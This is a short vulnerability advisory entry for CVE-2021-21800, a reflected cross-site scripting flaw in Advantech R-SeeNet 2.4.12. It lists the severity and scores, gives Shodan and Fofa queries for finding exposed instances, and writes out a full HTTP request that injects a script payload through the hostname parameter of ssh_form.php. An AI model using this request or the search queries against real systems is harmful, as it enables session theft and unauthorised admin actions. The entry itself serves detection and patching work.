| Title | Advantech R-SeeNet 2.4.12 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users. |
| Remediation | Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in R-SeeNet 2.4.12. |
| CVSS Score | 6.1 |
| EPSS Score | 0.68444 |
| CVE ID | CVE-2021-21800 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"R-SeeNet"http.html:"r-seenet" |
| Fofa Query | body="r-seenet" |
| Tags | cve2021 cve xss r-seenet advantech vuln |
Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the ssh_form.php script functionality.
GET /php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21800.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21800.pcap
N/AN/A